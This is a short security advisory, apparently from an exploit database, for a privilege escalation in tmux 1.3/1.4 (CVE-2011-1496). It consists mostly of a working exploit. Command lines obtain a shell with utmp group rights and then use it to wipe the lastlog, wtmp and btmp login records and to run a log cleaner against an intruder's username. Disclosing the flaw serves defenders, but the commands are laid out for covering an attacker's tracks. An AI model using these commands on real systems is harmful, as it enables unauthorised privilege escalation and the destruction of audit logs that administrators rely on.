|
|
|
|
| |
Credit:
The information has been provided by ph0x90bic.
|
| |
Vulnerable Systems:
* tmux 1.3/1.4
tmux 1.3/1.4 contains a privilege escalation vulnerabillity,which gives you utmp group privileges. This bug is important,because it is possible to clean logfiles and use logcleaners for btmp, wtmp and lastlog without local root access. EXPLOIT
Execute shell as utmp group
$ tmux -S /tmp/.whateveryouwant -c id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)
$ tmux -S /tmp/.whateveryouwant -c /bin/sh
$ id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)
Delete logfiles
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'
Use logcleaner software
$ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username
CVE Information:
CVE-2011-1496
Disclosure Timeline:
Published: 2011-04-11
|
|
|
|
|
